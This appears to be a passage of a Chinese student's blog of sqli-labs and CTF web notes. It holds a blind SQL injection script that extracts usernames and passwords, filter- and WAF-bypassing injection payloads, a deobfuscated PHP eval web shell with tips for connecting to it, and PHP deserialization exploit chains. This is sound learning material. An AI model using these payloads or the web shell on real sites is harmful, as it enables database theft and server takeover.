end = time.time() # 记录请求结束时间
# 如果响应状态码为200且响应时间超过预设的延迟时间,则认为存在SQL注入
if response.status_code == 200 and end - start > SLEEP_TIME:
return True
else:
return False

# 定义一个函数,用于提取数据库、表、字段或数据
def extract_data(sql):
s = "" # 初始化一个空字符串,用于存储结果
position = 0 # 初始化字符位置计数器
while True:
position += 1 # 每次循环增加字符位置
# 尝试猜测当前字符位置是否为空
res = inject(URL.format(sql=sql, position=position, char="", time=SLEEP_TIME))
if res:
break # 如果为空,退出循环
# 遍历所有可能的字符
for char in ALPHABET:
# 构造完整的URL并发送请求
res = inject(URL.format(sql=sql, position=position, char=char, time=SLEEP_TIME))
if res:
s += char # 如果猜测正确,将字符添加到结果字符串中
break # 退出循环,继续下一个字符
return s # 返回最终结果字符串

# 获取数据库名
database = extract_data("database()")
print(database) # 调用extract_data函数,传入SQL查询语句获取数据库名

# 获取表名
tables = extract_data("select group_concat(table_name) from infoorrmation_schema.tables where table_schema='%s'" % database)
print(tables)

# 获取字段名
columns = extract_data("select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users'")
print(columns)

# 获取用户名和密码,可以替换自己想要的表名
#all = extract_data("select group_concat(id,username,password) from users")
#print(all)

less-26

1
2
3
4
5
6
7
8
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

\s = 空格
大概就是空格,制表符,换行符都过滤了,

注释可以用;%00
空格绕过%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格空格,但是可能是apache解析不了(我用的也是apache),博客上都选择报错注入加()绕过空格,就不用考虑空格
or 可以用 || 或 oorr
and 可以用 && 或 aandnd

1
2
3
4
5
?id=%27%20||%20extractvalue(1,concat(0x7e,(select%20(concat(username,%27:%27,passwoorrd))%20from%20(users)%20where(id=1))));%00 
=
'||extractvalue(1,concat(0x7e,(select(concat(username,':',password))from(users)where(id=1))));

https://blog.csdn.net/2301_76913435/article/details/145601627

其中包含:双写or,;%00绕过注释符号

1
2
3
?id=-1' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) ))  ,1) || '1'='1

https://www.cnblogs.com/linfangnan/p/13940107.html

其中包含:双写or,||’1’=’1’ 来闭合语句使得不用注释,security.users来确定是security下的users


title: note-13
date: 2025-03-15 01:06:35
tags: sql-labs

less26a

网上博客是说用%a0来代替空格,但是我这环境好像解析不了,
也不能用报错注入。
最后试出来能用来盲注的payload就是:

1
?id=')||if(length(database())=8,1,0);%00

结果牛大b了,在后面27在同样过滤了空格的情况下用其它如%a0能正确解析,可能是我的关卡文件有问题;
那不管了,直接做less27。

less27

这题过滤对大小写没考虑,可以直接大小写绕过
题目好像把符号过滤了,用id=-1会变成1,注意要用数据库没用的值
题目过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;

payload:

1
2
3
4
?id=0'%0AunIOn%0ASeleCT%0A1,2,3;%00
?id=0'%0AunIOn%0ASeleCT%0A1,2,group_concat(table_name)%0Afrom%0AinfoRmation_schema.tables%0Awhere%0Atable_schema='security';%00
?id=0'%0AunIOn%0ASeleCT%0A1,2,group_concat(column_name)%0Afrom%0AinfoRmation_schema.columns%0Awhere%0Atable_name='users'%0Aand%0Atable_schema='security';%00
?id=0'%0AunIOn%0ASeleCT%0A1,2,group_concat(id,username,passwOrd )%0Afrom%0Ausers;%00

less27a

依旧没用过滤大小写,区别是没用报错回显,不能用报错注入。

1
2
3
4
?id=11111"uNion%0AselecT%0A1,2,3;%00
?id=11111"uNion%0AselecT%0A1,database(),group_concat(table_name)from%0AinfoRmation_schema.tables%0Awhere%0Atable_schema='security';%00
?id=11111"uNion%0AselecT%0A1,database(),group_concat(column_name)from%0AinfoRmation_schema.columns%0Awhere%0Atable_name='users'%0Aand%0Atable_schema='security';%00
?id=11111"uNion%0AselecT%0A1,database(),group_concat(id,username,password)from%0Ausers;%00

title: note-14
date: 2025-03-16 00:48:04
tags: sql-labs

less28

测试出闭合点

1
?id=1');%00

然后看一眼源码的过滤

1
2
3
4
5
6
7
8
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;

这辉大小写绕过就没用了,
而且好像是这两同时出现成union select 时才会触发过滤
这样的话双写绕过就有点难吧
但是明白了原理,根据过滤机制进行绕过就ok

1
?id=0')%0Auunion%0Aselectnion%0Aselect%0A1,2,3;%00

有点奇葩,但确实能用
也可以选择报错注入好像(不行,没有报错),不试了

1
2
3
?id=0')%0Auunion%0Aselectnion%0Aselect%0A1,database(),group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security';%00
?id=0')%0Auunion%0Aselectnion%0Aselect%0A1,database(),group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users';%00
?id=0')%0Auunion%0Aselectnion%0Aselect%0A1,database(),group_concat(id,username,password)from%0Asecurity.users;%00

less28a

看一眼源码

1
2
3
4
5
6
7
8
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;

好像只对union select 进行了过滤

payload

1
?id=0')ununion selection select 1,2,3--+

比上关更简单,只过了union select,其它都没过滤

less29 waf过滤

从29到31关,要用到启动tomcat作为过滤服务器,确定参数安全后才交给apache服务器。只需将sqli-labs文件夹下的tomcat-files.zip解压到tomcat/webapp/ROOT目录下,启动tomcat/bin下的startup.bat即可(关闭为shutdown.bat)。
by
https://blog.csdn.net/2301_76913435/article/details/145601627

https://blog.csdn.net/kukudeshuo/article/details/114763700

我没有跟博客去配置tomcat,但是直接用login.php来进行测试
好像就是同样效果,那我直接当它配置好了吧

那就是输入

1
2
/sqli-labs/Less-29/login.php?id=1   //回显正常
/sqli-labs/Less-29/login.php?id=1' //会转到hacked.php

那大概就是waf成功阻止了此次注入
那就要想办法绕过waf了

由于tomcat和apache解析参数的顺序不同,当注入两个参数?id=1&id=2,此时tomcat解析的是第一个参数,而apache解析的是第二个参数并且SQL语句也是在apache服务器上执行的,由此绕过tomcat的检测。
by
https://blog.csdn.net/2301_76913435/article/details/145601627

1
2
3
sqli-labs/Less-29/login.php?id=1&id=2'--+
//回显
id=2的内容

直接构造

1
/sqli-labs/Less-29/login.php?id=1&id=0' union select 1,database(),group_concat(id,username,password)from security.users--+

成功

notice

Web应用程序防火墙(Web Application Firewall,WAF)是一种用于保护Web应用程序的安全设备。Web应用程序是指通过Web浏览器或其他Web客户端访问的应用程序。WAF的目的是保护Web应用程序免受黑客、网络攻击和数据泄漏等安全威胁的攻击。

less30

和上一关一样有waf,但好像没有id的话就不会有回显

1
2
3
/sqli-labs/Less-30/login.php/?id=3&id=0"union select 1,2,3--+

/sqli-labs/Less-30/login.php/?id=3&id=0"union select 1,database(),group_concat(id,username,password)from security.users--+

看了源码还差点找不到注入点😥….

less31

waf
闭合点

1
2
/sqli-labs/Less-31/login.php/?id=1&id=0") union select 1,2,3--+
/sqli-labs/Less-30/login.php/?id=3&id=0")union select 1,database(),group_concat(id,username,password)from security.users--+

结束

按原计划,sql-labs的学习就先到这,下面sql注入的学习该去做ctf真题了,不得不说sqli-labs的帮助真挺大,能打好sql注入的原理和基础


title: note-15
date: 2025-03-20 19:43:49
tags: review

2024下半年长城杯回顾

在机房上从新回顾3个月前的长城杯web题wp,发现已经能看懂不少了

追忆1 hello_web

还记得当初做这题就是在那干瞪眼,用dirsearch和查看前端认出了个hackme.php。
已经没有题目环境了,干看大佬的wp
https://ya1orin.github.io/posts/cbe4da55.html

那大概就是双写../进行绕过来目录穿越访问到tips和hackme
(主要是要学一下面对未知环境时该怎么办,现在还没有一套渗透流程,起手fuzz都fuzz不明白)

然后能在tips看到phpinfo和过滤内容
然后是hackme.php

1
2
3
4
5
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

看到大佬们说给反混淆一下就行了,我搞了两节课大约一个半小时才搞明白😫…..
步骤就是先按php的分号给分明白代码行,然后尝试用厨子解码里面看不懂的东西

这是我搞的:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
//eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
echo('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));

其中一些变量扔厨子也煮不出来,看佬们wp也是不动它们,
重要是不知道要echo的东西大佬们是怎么知道的,又去找一大堆wp,好像都是默认知道要echo啥一样,最后自己仔细看了一遍发现就是把base解码出来的eval里的内容echo出来😫。。。

即使蠢如猪豚我也要在ctf走下去口牙!我就是这样的哈基尸啊

最后运行结果好像输出一大串css还是html的东西,但是最后有一句话木马,get到密码了

1
</code>?><?php @eval($_POST['cmd_66.99']); ?>

最后是连木马,但是注意要用蚁剑的UserFilter插件,这个是针对php7版本的绕过插件
https://hcnote.cn/2024/12/25/12056.html
也可以用其它插件来绕过disable_fuction
https://www.cnblogs.com/DumpInfou/p/18023278
https://ya1orin.github.io/posts/cbe4da55.html

linux下搜索flag字符

1
2
3
find / -name flag -type f 2>/dev/null

grep -rvh ‘flag

title: note-16
date: 2025-03-22 22:39:23
tags: unserialize

[CISCN 2023 华北]ez_date

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

审计:
大概是三个变量a,b,file,还有一个反序列化激活的 __wakeup(),先是

1
2
if(is_array($this->a)||is_array($this->b)){
die('no array');

不让用数组绕过
然后是绕过条件

1
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )

要求a和b弱比较不同,&&a和b的md5和sha1值相同
然后看不懂了

分析:
(1)wakeup方法首先禁用了数组,所以不能给成员变量a和b赋值数组,需要使用其他方法绕过下面的md5和sha1。
(2)因为比较变量使用的是弱比较(!==),则我们可以给a、b赋值同值不同类,例如a=1、b=’1’,二者md5值和sha1值相同,可以通过检查。
(3)变量content接受经过date日期格式化后的变量file。
对于date()方法:
该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出
(4)uniqid()方法会生成一个唯一的文件名,并与后缀“.txt”拼接成变量uuid。
(5)file_put_contents()方法会将content的内容写入uuid表示的文本文档中。对文本文档的内容进行正则匹配,去除内容中的空格和换行符,赋值给变量打他。
(6)显示变量data的内容。
综上,我们需要绕过检测,为变量file赋值一个不会被date方法格式化的flag路径,读取到flag后,借由变量data显示出来。
https://www.cnblogs.com/yuspace/p/18114039

重要的来了
KIMI:

1
2
echo file_get_contents($data);
//作用:尝试将$data作为文件路径,读取该路径下的文件内容并输出到浏览器。这里可能存在路径遍历或文件包含漏洞,如果$data的值可控且未经过充分验证。
1
2
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
//作用:读取刚刚创建的$uuid文件的内容,并使用正则表达式preg_replace()去除其中的空白字符(包括空格、换行符等)。最终结果存储在$data变量中。

最后payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
$a=new date();
//同值不同类,通过三个检测
$a->a=1;
$a->b='1';
//此处file的内容在经过data()方法格式化后显示为/flag
$a->file="/f\l\a\g";
echo base64_encode(serialize($a));

//输出:Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9

by https://www.cnblogs.com/yuspace/p/18114039

值同类不同

$this->a !== $this->b:

$this->a 是整数 1,$this->b 是字符串 ‘1’。在 PHP 中,它们的值虽然相等,但类型不同,因此 !== 比较结果为 true。

md5($this->a) === md5($this->b):

当你将整数 1 传递给 md5() 函数时,PHP 会将其转换为字符串 ‘1’,因此 md5(1) 和 md5(‘1’) 的结果是相同的。

sha1($this->a) === sha1($this->b):

同样,sha1() 函数也会将整数 1 转换为字符串 ‘1’,因此 sha1(1) 和 sha1(‘1’) 的结果也是相同的。


title: note-17
date: 2025-03-23 13:38:39
tags: unseirlize

[SWPUCTF 2021 新生赛]ez_unserialize

没想到我也有能秒反序列化的一天,还以为永远入不了门了
拿到题目发现只有一个静态页面
然后dirsearch扫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[13:31:24] Starting:
[13:31:28] 403 - 309B - /.ht_wsr.txt
[13:31:28] 403 - 312B - /.htaccess.bak1
[13:31:28] 403 - 312B - /.htaccess.save
[13:31:28] 403 - 314B - /.htaccess.sample
[13:31:28] 403 - 310B - /.htaccess_sc
[13:31:28] 403 - 313B - /.htaccess_extra
[13:31:28] 403 - 312B - /.htaccess.orig
[13:31:28] 403 - 310B - /.htaccessBAK
[13:31:28] 403 - 312B - /.htaccess_orig
[13:31:28] 403 - 310B - /.htaccessOLD
[13:31:28] 403 - 311B - /.htaccessOLD2
[13:31:28] 403 - 302B - /.htm
[13:31:28] 403 - 303B - /.html
[13:31:28] 403 - 312B - /.htpasswd_test
[13:31:28] 403 - 309B - /.httr-oauth
[13:31:28] 403 - 308B - /.htpasswds
[13:31:45] 200 - 0B - /flag.php
[13:31:56] 200 - 35B - /robots.txt
[13:31:57] 403 - 311B - /server-status
[13:31:57] 403 - 312B - /server-status/

直接访问flag.php无果,
访问robots.txt

notice

robots大概作用应该是用来告诉搜索引擎不能爬取哪些页面,没有强制性作用

在robots里发现/cl45s.php
访问得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

写了个payload,一次成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

$a=new wllm();
$a->admin="admin";
$a->passwd="ctf";
echo serialize($a);
?>

///运行得到:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

直接get传得到flag

1
/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

没看懂为啥get传好像传不进去
去看大佬的wp

https://www.nssctf.cn/note/set/3017

原来是这里

1
(file_get_contents($text,'r')==="welcome to the zjctf")

file_get_contents()

file_get_contents() 函数在 PHP 中用于读取文件内容或获取远程资源的内容。
它可以读取通过 GET 方法传入的 URL 或文件路径,但不能直接读取通过 GET 方法传入的字符串参数。

所以像这样传入字符串是没用的

1
?text=welcome to the zjctf

法一:

通过data://伪协议,让字符串传递进去。这里传递纯文本,payload:text=data://text/plain,welcome to the zjctf

法二:
通过php://input伪协议构造POST请求,传进去的字符串就放在post请求的payload上

我是选法一了,毕竟直接在url上就能完成
data:// 协议:
data:// 协议允许你通过数据 URI 来访问数据。你可以将数据直接嵌入到 URL 中,而不需要创建一个实际的文件。
例如:

1
2
3
4
5
6
7
8
<?php
// 打印 "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>

// text/plain,表示的是文本

// text/plain;base64, 若纯文本没用可用base64编码

这样就能传入welcome to the zjctf了

接下来

1
2
3
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();

检查$file变量中是否包含字符串”flag”。

preg_match(“/flag/“,$file):使用正则表达式匹配$file中是否包含”flag”。

如果匹配到”flag”,输出”Not now!”并终止脚本执行。

由于并不是过滤字符,没法用双写绕过了

这样先看下面,有提示一个useless.php

根据反序列化代码我们可以推测题目想让我们构造反序列化POC触发useless.php里面的类,
要想构造POC我们得知道这个类长什么样,
于是问题的矛盾指向了useless.php的源码,
这里只能通过php://filter/convert.base64-encode/resource=useless.php来查看加密后的源码(不加密会被当成php执行)

1
http://node4.anna.nssctf.cn:28681/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到useless.php得内容

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

那么最后就有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
else{
highlight_file(__FILE__);
}

$a=new Flag;
$a->file=flag.php;
echo serialize($a);
?>

最后poc出了password的payload,

1
O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}

但是传进去后只回显了个

1
2
3
4
5
6
welcome to the zjctf


oh u find it

U R SO CLOSE !///COME ON PLZ

最后去看别人的wp才知道flag就包含在这个页面下,按f12就能看到了😅
最终payload

1
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

总结

这题我就只会最后构造反序列化的poc了
但也是学到了php伪协议的东西

notice01

KIMI:逐部分解析

include:
include 是 PHP 中的一个语句,用于动态包含另一个文件的内容到当前脚本中。
如果被包含的文件中包含 PHP 代码,这些代码会被执行。
php://filter:
php://filter 是一个伪协议,允许开发者在读取或写入数据时应用过滤器。它可以在数据流打开时对数据进行处理。
convert.base64-encode:
这是一个过滤器,表示对数据进行 Base64 编码。Base64 编码是一种将二进制数据转换为 ASCII 字符串的方法,常用于在需要以文本形式传输二进制数据的场景。
resource=useless.php:
resource 参数指定了要处理的文件路径,这里是 useless.php。这意味着过滤器将应用于 useless.php 文件的内容。


php://filter

是 PHP 中一种独特的伪协议,它允许开发者在数据读取或写入过程中应用过滤器,从而实现对数据的处理。它是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,例如 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

php://filter 协议的一般语法为:

1
2
3
4
5
php://filter/<action>/resource=<待过滤的数据流>

//其中 <action> 表示要对数据执行的过滤操作,如读取(read)、转换编码(convert)或字符串操作(string)等;
//<待过滤的数据流> 通常是要读取或写入的文件路径或 URL。
//过滤器可以设置多个,按照链式的方式依次对数据进行过滤处理

过滤器分类
字符串过滤器:以 string 开头,对数据进行字符串处理,如 rot13、toupper、tolower、strip_tags 等。
转换过滤器:以 convert 开头,对数据进行编码转换,如 Base64 编码、解码,Quoted-Printable 编码、解码,iconv 字符编码转换等。
压缩过滤器:如 zlib.deflate(压缩)、zlib.inflate(解压)、bzip2.compress(压缩)、bzip2.decompress(解压)等。
加密过滤器:如 mcrypt.* 和 mdecrypt.*,用于数据的加密和解密。不过,这个特性已自 PHP 7.1.0 起废弃,强烈建议不要使用。

示例
读取文件并进行 Base64 编码:

1
2
echo file_get_contents("php://filter/convert.base64-encode/resource=index.php");
这行代码会读取 index.php 文件的内容,并将其进行 Base64 编码后输出。
1
2
3
file_put_contents("php://filter/write=convert.base64-decode/resource=shell.php", base64_encode("<?php phpinfo(); ?>"));
这行代码会将 Base64 编码的字符串写入 shell.php 文件,
并在写入前进行 Base64 解码,最终 shell.php 文件中将包含原始的 <?php phpinfo(); ?> 代码。

title: note-18
date: 2025-03-26 21:35:34
tags: unserialize

GDOUCTF_反方向的钟

开篇源码,但是看不懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>

看大佬wp
https://blog.csdn.net/weixin_73668856/article/details/134878471

先看看利用点:

应该是$_POST‘a’;

尝试构造链子school::IPO() -> school::__wakeup ->classroom::hahaha->teacher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name='ing';
public $rank='department';
}

class classroom{
public $name='one class';
public $leader;
}

class school{
public $department;
public $headmaster='ong';
}
$a=new school();
$b=new classroom();
$c=new teacher();
$a->department=$b;
$b->leader=$c;
echo base64_encode(serialize($a));
?>

结果:
